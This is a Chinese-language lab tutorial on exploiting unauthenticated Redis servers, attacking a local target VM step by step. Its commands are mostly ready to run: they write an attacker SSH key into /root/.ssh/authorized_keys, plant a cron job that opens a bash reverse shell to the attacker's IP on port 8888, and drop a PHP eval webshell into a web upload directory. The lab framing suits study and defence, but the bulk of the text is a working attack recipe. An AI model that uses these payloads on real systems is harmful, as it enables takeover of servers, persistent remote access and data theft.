Redis
扫描
未授权登录以及利用
写入SSH远程登录公钥
定期任务反弹shell
写一句木马
写入/etc/passwd文件
Redis
使用开源ANSI C语言编写、支持网络、基于内存或可持续的日志,提供多种语言的数据库API。Redis默认使用 端口。
那么Redis未经授权的访问漏洞是如何产生的?由于Redis默认使用6379号端口,Redis默认为空密码,默认允许远程连接。安装了一些粗心的网络管理员Redis之后没有修改他的默认端口,也没有给他设置密码。这给了黑客一个远程连接到数据库的机会。并且,如果Redis是以root如果身份运行,黑客可以通过Redis将数据库写入任何文件提权,以控制服务器。
在这里,我们以靶机为实验,它存在Redis我们没有授权访问漏洞,所以我们在windows远程连接靶机。
攻击机:192.168.10.27
靶机:192.168.10.32
扫描
我们直接用nmap由于6379的漏洞无法通过扫描发现,nmap默认只扫描前1000个端口。由于我们已经知道靶机已经打开了6379个端口,所以我们直接指定了扫描端口。
未经授权登录和使用
Nmap扫描后发现主机6379端口对外网开放,可使用本地Redis远程客户端连接服务器,连接后即可获得Redis敏感数据也可以写入数据。我们可以使用它windows或者linux下的redis客户端远程登录,这里我用windows远程登录,linux懒得安装。
redis-cli.exe -h 192.168.10.32 #登录
redis数据库的一些基本操作
info #查看redis信息和服务器信息 flushall 删除所有数据 del key 删除键为key的数据 get key 获得参数key的数据
auth密码
写入SSH远程登录公钥
关于SSH我私钥验证,我就不多说了,传送门——>ssh公私钥验证 ,文章中是在Linux生成公私钥。
我今天要教的是在windows下利用XShell生成公私钥,然后验证登录。
打开XShell—>工具—>新用户密钥生成向导—>下一步—>下一步
我在这里使用默认名称,密码,然后下一步—>是
保存为文件,然后完成。然后公钥保存在指定的路径下,我保存在这里redis 在客户端目录下,因为将来很容易传输。我们打开它id_rsa_2048.pub ,在它的开头和结尾加几辆车换行,以免以后写redis数据库中和Redis其它缓存数据混合。
注:一定要在公钥的开头和结尾加几个换行,否则会出错!
那么我们现在如何将公钥传输到靶机呢? /root/.ssh/在目录下,重命名为authorized_keys 。
执行以下操作
type id_rsa_2048.pub | redis-cli.exe -h 192.168.10.32 -x set j #查看id_rsa_2048.pub文件内容,并将键设置为 j redis-cli -h 192.168.10.32 #登陆到该redis数据库 config set dir /root/.ssh #设置redis工作路径为/root/.ssh config set dbfilename authorized_keys #设置保存文件名authorized_keys save #保存 #上述命令的意思是,将我们id_rsa_2048.pub文件内容写入authorized_keys并存储在/root/.ssh 目录下 如果是redis如果有弱口令,我们可以 redis-cli -h 192.168.10.32 auth 123456 set jjj "\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqkf5/rPR9oHUwbln2cTeFduQwhTK5QEz7E3M9gM2fqrXA13N3WDKlCOUctTfRb0IHVcTXddDIqjOwOAg8fXrVINotxeGggJiJ2VwWnvE4J2KlTJhgLrF1giNFWOGs iywvgLxEFx/4zjwicK7Z9Knk54rLx/wNcuvaBp7SecPlz3itN6Jm2vZs322bmRq7jcrQGPYu/7OoNsy/cF2F4EwDPPB9VeDAkLfle9n2g1A1voqw9wHziABEkZjQg5iQ jUpCbhFy4OXIhygTpSPE6PSs7e0sh4KmAx3V7cRjg 2wrNlyLbXd3JaNdbu6oDPRia8jyNVbFoBOuv3z1lqXiUw==\n\n" config set dir /root/.ssh config set dbfilename authorized_keys save
然后我们现在就可以用了XShell用私钥连接主机。请注意,它必须是登录用户身份
我们可以看到我们已经登陆了。而且可以 /root/.ssh/在目录下看到我们上传的目录 authorized_keys 正是因为这个文件的存在,我们才能用私钥登录本地文件。
定期任务反弹shell
我们可以将 linux 反弹 shell 这样,我们就可以收到定时任务中的命令redis服务器反弹shell了
我们的客户首先接受端口
nc -lvp 8888 #监听8888端口
然后执行以下命令
redis-cli -h 192.168.10.32 #登陆到redis数据库 setd "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/8888 0>&1\n\n" #意思是每隔一分钟,向192.168.10.27的8888端口反弹shell
config set dir /var/spool/cron #设置工作目录
config set dbfilename root #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
save #保存成文件
#上面这几行命令的意思就是将 "\n\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/8888 0>&1\n\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下
可以看到,我们这边已经收到反弹回来的shell了
写入一句话木马
写入一句话木马需要我们知道网站的根目录相对于服务器的绝对路径。但是这个靶机网站的根目录相对于服务器的绝对路径很奇葩。不是普通的在 /var/www/html 下,而是在 /var/www/html/dedecms/uploads 这个目录下。
执行下列命令
redis-cli -h 192.168.10.32
set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dir /var/www/html/dedecms/uploads
config set dbfilename webshell.php
save
然后用菜刀连接
可以看到,已经连接成功了!
写入/etc/passwd文件
写入 /etc/passwd 文件,这需要使用 root 权限才可以写入。
参考文章:Redis未授权访问详解
Redis客户端: https://pan.baidu.com/s/1igxEuqTwq77afUQ-LQTV0w 提取码: d1hn